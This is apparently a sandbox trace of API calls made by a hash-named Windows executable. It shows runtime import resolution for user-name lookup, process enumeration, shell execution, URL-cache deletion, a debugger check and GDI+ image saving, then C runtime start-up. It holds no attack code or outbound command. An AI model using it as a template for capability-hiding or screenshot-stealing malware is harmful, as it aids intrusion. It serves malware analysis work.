GetProcAddress (hModule=0x74650000, lpProcName="GetConsoleMode") returned 0x74676f70 [0066.521] GetProcAddress (hModule=0x74650000, lpProcName="GetConsoleCP") returned 0x74676f60 [0066.521] GetProcAddress (hModule=0x74650000, lpProcName="SetEnvironmentVariableA") returned 0x746922f0 [0066.521] GetProcAddress (hModule=0x74650000, lpProcName="SetEnvironmentVariableW") returned 0x7466e9e0 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="GetModuleFileNameW") returned 0x74669b00 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="IsValidCodePage") returned 0x7466a790 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="GetOEMCP") returned 0x74675140 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="GetACP") returned 0x74668500 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="GetFileType") returned 0x74676aa0 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x74676730 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="GetStdHandle") returned 0x7466a6e0 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="SetHandleCount") returned 0x746750e0 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="SetLastError") returned 0x74662af0 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="TlsFree") returned 0x7466a040 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="TlsSetValue") returned 0x746629d0 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="TlsGetValue") returned 0x74661b70 [0066.522] GetProcAddress (hModule=0x74650000, lpProcName="GetTickCount") returned 0x74675eb0 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="ExitProcess") returned 0x74677b30 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="InterlockedIncrement") returned 0x74672a00 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="InterlockedDecrement") returned 0x74672a20 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="InterlockedExchange") returned 0x74667870 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="EncodePointer") returned 0x7794f730 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="DecodePointer") returned 0x7794d830 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="RaiseException") returned 0x74668c20 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="RtlUnwind") returned 0x74668c10 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="ExitThread") returned 0x77957a80 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="CreateThread") returned 0x74669b90 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="GetCommandLineA") returned 0x7466ab60 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="HeapSetInformation") returned 0x7466a8e0 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="GetStartupInfoW") returned 0x7466a740 [0066.523] GetProcAddress (hModule=0x74650000, lpProcName="LCMapStringW") returned 0x74669f30 [0066.524] GetProcAddress (hModule=0x74650000, lpProcName="GetCPInfo") returned 0x7466a290 [0066.524] GetProcAddress (hModule=0x74650000, lpProcName="UnhandledExceptionFilter") returned 0x74692670 [0066.524] GetProcAddress (hModule=0x74650000, lpProcName="SetUnhandledExceptionFilter") returned 0x7466a940 [0066.524] GetProcAddress (hModule=0x74650000, lpProcName="IsDebuggerPresent") returned 0x7466b0b0 [0066.524] GetProcAddress (hModule=0x74650000, lpProcName="IsProcessorFeaturePresent") returned 0x74669bf0 [0066.524] GetProcAddress (hModule=0x74650000, lpProcName="GetModuleHandleW") returned 0x74669bc0 [0066.524] GetProcAddress (hModule=0x74650000, lpProcName="TlsAlloc") returned 0x7466a120 [0066.524] GetProcAddress (hModule=0x74650000, lpProcName="WriteConsoleW") returned 0x74677020 [0066.524] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74790000 [0066.524] GetProcAddress (hModule=0x74790000, lpProcName="GetDesktopWindow") returned 0x747a3470 [0066.524] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x77820000 [0069.849] GetProcAddress (hModule=0x77820000, lpProcName="GetUserNameA") returned 0x77842910 [0069.849] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x76370000 [0077.863] GetProcAddress (hModule=0x76370000, lpProcName="SHFileOperationA") returned 0x765cf680 [0077.863] GetProcAddress (hModule=0x76370000, lpProcName="ShellExecuteA") returned 0x765e0210 [0077.863] GetProcAddress (hModule=0x76370000, lpProcName="SHGetFolderPathA") returned 0x76529b10 [0077.863] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75790000 [0077.864] GetProcAddress (hModule=0x75790000, lpProcName="PathMatchSpecW") returned 0x757b2c80 [0077.864] GetProcAddress (hModule=0x75790000, lpProcName="PathMatchSpecA") returned 0x757b2c20 [0077.864] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x75670000 [0077.954] GetProcAddress (hModule=0x75670000, lpProcName="GetModuleFileNameExA") returned 0x75671660 [0077.954] GetProcAddress (hModule=0x75670000, lpProcName="GetModuleBaseNameA") returned 0x75671640 [0077.954] GetProcAddress (hModule=0x75670000, lpProcName="EnumProcessModules") returned 0x75671360 [0077.954] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x70830000 [0078.525] GetProcAddress (hModule=0x70830000, lpProcName="DeleteUrlCacheEntry") returned 0x708f2080 [0078.525] LoadLibraryA (lpLibFileName="gdiplus.dll") returned 0x6c4d0000 [0079.456] GetProcAddress (hModule=0x6c4d0000, lpProcName="GdipGetImageEncodersSize") returned 0x6c52f520 [0079.456] GetProcAddress (hModule=0x6c4d0000, lpProcName="GdipCreateBitmapFromHBITMAP") returned 0x6c515b70 [0079.456] GetProcAddress (hModule=0x6c4d0000, lpProcName="GdipSaveImageToFile") returned 0x6c531e90 [0079.456] GetProcAddress (hModule=0x6c4d0000, lpProcName="GdipCloneImage") returned 0x6c532890 [0079.456] GetProcAddress (hModule=0x6c4d0000, lpProcName="GdipGetImageEncoders") returned 0x6c52f380 [0079.456] GetProcAddress (hModule=0x6c4d0000, lpProcName="GdiplusShutdown") returned 0x6c53a7c0 [0079.456] GetProcAddress (hModule=0x6c4d0000, lpProcName="GdipFree") returned 0x6c513810 [0079.457] GetProcAddress (hModule=0x6c4d0000, lpProcName="GdipAlloc") returned 0x6c513840 [0079.457] GetProcAddress (hModule=0x6c4d0000, lpProcName="GdiplusStartup") returned 0x6c53ab50 [0079.457] GetProcAddress (hModule=0x6c4d0000, lpProcName="GdipDisposeImage") returned 0x6c5391c0 [0079.457] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x6cb30000 [0079.761] GetProcAddress (hModule=0x6cb30000, lpProcName="atexit") returned 0x6cb4c544 [0079.761] atexit (param_1=0x1fc0920) returned 0 [0079.770] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x19fc1c | out: lpSystemTimeAsFileTime=0x19fc1c*(dwLowDateTime=0x283c9a64, dwHighDateTime=0x1d7b3bd)) [0079.770] GetCurrentProcessId () returned 0x11ac [0079.770] GetCurrentThreadId () returned 0xcdc [0079.770] GetTickCount () returned 0x15a537c [0079.770] QueryPerformanceCounter (in: lpPerformanceCount=0x19fc14 | out: lpPerformanceCount=0x19fc14*=2279999791396) returned 1 [0079.835] GetStartupInfoW (in: lpStartupInfo=0x19fbc0 | out: lpStartupInfo=0x19fbc0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0079.836] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0079.839] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x2110000 [0079.903] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0079.903] GetProcAddress (hModule=0x74650000, lpProcName="FlsAlloc") returned 0x7466a980 [0079.903] GetProcAddress (hModule=0x74650000, lpProcName="FlsGetValue") returned 0x74667570 [0079.903] GetProcAddress (hModule=0x74650000, lpProcName="FlsSetValue") returned 0x74669e30 [0079.903] GetProcAddress (hModule=0x74650000, lpProcName="FlsFree") returned 0x74674ff0 [0080.002] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x214) returned 0x21105a8 [0080.003] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x74650000 [0080.007] GetCurrentThreadId () returned 0xcdc [0080.007] GetStartupInfoW (in: lpStartupInfo=0x19fb5c | out: lpStartupInfo=0x19fb5c*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x401, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x10001, hStdError=0x0)) [0080.007] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x8, Size=0x800) returned 0x21107c8 [0080.007] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0080.007] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0080.007] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0080.007] SetHandleCount (uNumber=0x20) returned 0x20 [0080.007] GetCommandLineA () returned="\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe\" " [0080.007] GetEnvironmentStringsW () returned 0x6741b0* [0080.007] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1293, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1293 [0080.011] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50d) returned 0x2110fd0 [0080.079] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1293, lpMultiByteStr=0x2110fd0, cbMultiByte=1293, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1293 [0080.079] FreeEnvironmentStringsW (penv=0x6741b0) returned 1 [0080.079] GetLastError () returned 0x3f0 [0080.079] SetLastError (dwErrCode=0x3f0) [0080.079] GetLastError () returned 0x3f0 [0080.079] SetLastError (dwErrCode=0x3f0) [0080.083] GetLastError () returned 0x3f0 [0080.083] SetLastError (dwErrCode=0x3f0) [0080.083] GetACP () returned 0x4e4 [0080.083] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x220) returned 0x21114e8 [0080.084] GetLastError () returned 0x3f0 [0080.084] SetLastError (dwErrCode=0x3f0) [0080.084] IsValidCodePage (CodePage=0x4e4) returned 1 [0080.084] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fb24 | out: lpCPInfo=0x19fb24) returned 1 [0080.087] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f5f0 | out: lpCPInfo=0x19f5f0) returned 1 [0080.087] GetLastError () returned 0x3f0 [0080.088] SetLastError (dwErrCode=0x3f0) [0080.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fa04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0080.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fa04, cbMultiByte=256, lpWideCharStr=0x19f368, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0080.088] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x19f604 | out: lpCharType=0x19f604) returned 1 [0080.088] GetLastError () returned 0x3f0 [0080.088] SetLastError (dwErrCode=0x3f0) [0080.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fa04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0080.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fa04, cbMultiByte=256, lpWideCharStr=0x19f338, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ휅ϸJĀ") returned 256 [0080.088] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ휅ϸJĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0080.088] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ휅ϸJĀ", cchSrc=256, lpDestStr=0x19f128, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0080.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x19f904, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿë\x7f;ò<û\x19", lpUsedDefaultChar=0x0) returned 256 [0080.088] GetLastError () returned 0x3f0 [0080.088] SetLastError (dwErrCode=0x3f0) [0080.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fa04, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0080.088] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fa04, cbMultiByte=256, lpWideCharStr=0x19f358, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ휅ϸJĀ") returned 256 [0080.088] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ휅ϸJĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0080.088] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ휅ϸJĀ", cchSrc=256, lpDestStr=0x19f148, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0080.088] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x19f804, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿë\x7f;ò<û\x19", lpUsedDefaultChar=0x0) returned 256 [0080.099] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x4d5658, nSize=0x104 | out: lpFilename="C:\\Users\\RDhJ0CNFevzX\\Desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\1a0f891e8d7d659d550b35c54f542180cd2629d3a62e35e695e43fd1f5dad0b3.exe")) returned 0x62 [0080.102] GetLastError () returned 0x0 [0080.102] SetLastError (dwErrCode=0x0) [0080.102] GetLastError () returned 0x0 [0080.103] SetLastError (dwErrCode=0x0) [0080.103] GetLastError () returned 0x0 [0080.103] SetLastError (dwErrCode=0x0) [0080.103] GetLastError () returned 0x0 [0080.103] SetLastError (dwErrCode=0x0) [0080.103] GetLastError () returned 0x0 [0080.103] SetLastError (dwErrCode=0x0) [0080.103] GetLastError () returned 0x0 [0080.103] 